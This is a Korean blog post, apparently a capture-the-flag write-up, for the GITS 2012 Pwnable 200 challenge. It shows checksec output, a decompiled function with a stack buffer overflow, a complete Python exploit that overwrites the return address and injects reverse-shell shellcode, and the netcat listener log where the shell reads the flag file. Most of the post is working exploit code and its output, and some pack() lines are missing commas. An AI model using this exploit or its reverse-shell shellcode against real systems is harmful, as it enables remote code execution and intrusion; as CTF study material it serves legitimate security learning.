티스토리 뷰

Pwnable/CTF

GITS2012 [Pwnable 200]

err0rless313 2015. 1. 30. 19:28

GITS 2012 Pwnable 200Pts


1
2
3
4
5
6
7
8
9
10
11
~> file ./GITS2012_pwnable200 
./GITS2012_pwnable200: ELF 32-bit LSB  executable, 
Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), 
for GNU/Linux 2.6.15, 
BuildID[sha1]=c53d1dc1e47bd86dc63c9fba66f4a5c41cf2096d, 
stripped
 
~> checksec --file ./GITS2012_pwnable200 
RELRO          STACK CANARY     NX           PIE     RPATH    
Partial RELRO  No canary found  NX disabled  No PIE  No RPATH  
cs



Full RELRO도 아니고 Canary도 없고 NX도 안 걸려 있고 PIE도 아님. 매우매우 취약한 프로그램이고



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
signed int __cdecl vuln_func()
{
  int v0; // edx@1
  signed int result; // eax@1
  char str_512; // [sp+10h] [bp-208h]@1
 
  memset(&str_512, 0, 512u);
  SendTo(fd, "Password: ");
  recvFrom(fd, &str_512, 12u, 10);
  v0 = strncmp(&str_512, HansBrix___, 12u);
  result = 1;
  if ( v0 )
  {
    SendTo(fd, "Welcome shitty wok, may a \
                 taka oda prez?\n");
    recvFrom(fd, &str_512, 576u, 10);           
    SendTo(fd, "Goddamn Mongorians! Quit \
                 breakin down my shitty wall!!!\n");
    result = 0;
  }
  return result;
}
cs



취약점도 한눈에 보임



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from socket import *
from struct import *
 
def setSock(ip, port):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip, port))
    return s
 
def exploit(s, shellcode):
    recv     = 0x0804864c
    bss      = 0x0804b080 + 0x70
 
    s.recv(2048)
 
    s.send("HansBrix!!!\n")
 
    s.recv(1024)
 
    payload  = "\x90" * 524
    payload += pack("<L", recv)
    payload += pack("<L", bss)
    payload += pack("<L"0x05)
    payload += pack("<L", bss)
    payload += pack("<L"len(shellcode))
    payload += pack("<L"0x00)
 
    s.send(payload + "\n")
    s.send(shellcode)
 
    print "[*] nc 127.0.0.1 55555"
 
    s.recv(1024)
 
if __name__ == "__main__":
    SHELLCODE = (
    "\x68"
    "\x7F\x01\x01\x01"  # IP ADDRESS
    "\x5E\x66\x68"
    "\xD9\x03"          # PORT NUMBER
    "\x5F\x6A\x66\x58\x99\x6A\x01\x5B\x52\x53\x6A\x02"
    "\x89\xE1\xCD\x80\x93\x59\xB0\x3F\xCD\x80\x49\x79"
    "\xF9\xB0\x66\x56\x66\x57\x66\x6A\x02\x89\xE1\x6A"
    "\x10\x51\x53\x89\xE1\xCD\x80\xB0\x0B\x52\x68\x2F"
    "\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53"
    "\xEB\xCE"
    )
 
    s = setSock("192.168.1.154"2645)
 
    print "[+] Start"
    exploit(s, SHELLCODE)
    print "[-] End"
cs



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/h/sshuser> nc -lvp 55555 
Listening on [0.0.0.0] (family 0, port 55555)
Connection from [127.0.0.1] port 55555 [tcp/*] accepted ....
ls -al
total 28
drwxr-xr-x 3 kimjongun kimjongun 4096 Jan 30 19:15 .
drwxr-xr-x 7 root      root      4096 Jan 30 18:23 ..
drwx------ 3 kimjongun kimjongun 4096 Jan 30 18:28 .config
-rwxr-xr-x 1 kimjongun kimjongun 9704 Jan 30 18:11 GITS2...
-rw-rw-r-- 1 kimjongun kimjongun   32 Jan 30 19:15 key
id
uid=1005(kimjongun) gid=1005(kimjongun) groups=1005(kimjo...
whoami
kimjongun
cat key
Key: !All_Hail_Fearress_Reader!
exit
cs



1
Key: !All_Hail_Fearress_Reader!
cs



'Pwnable > CTF' 카테고리의 다른 글

CODEGATE 2015 JUNIOR 예선 WRITE UP  (0) 2015.03.16
CodeGate Junior 2014 [lotto]  (0) 2015.02.15
Volga CTF 2014 [exploit 400]  (0) 2015.01.30
Volga CTF 2014 [exploit 300]  (0) 2015.01.29
Volga CTF 2014 [exploit 100]  (0) 2015.01.28
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함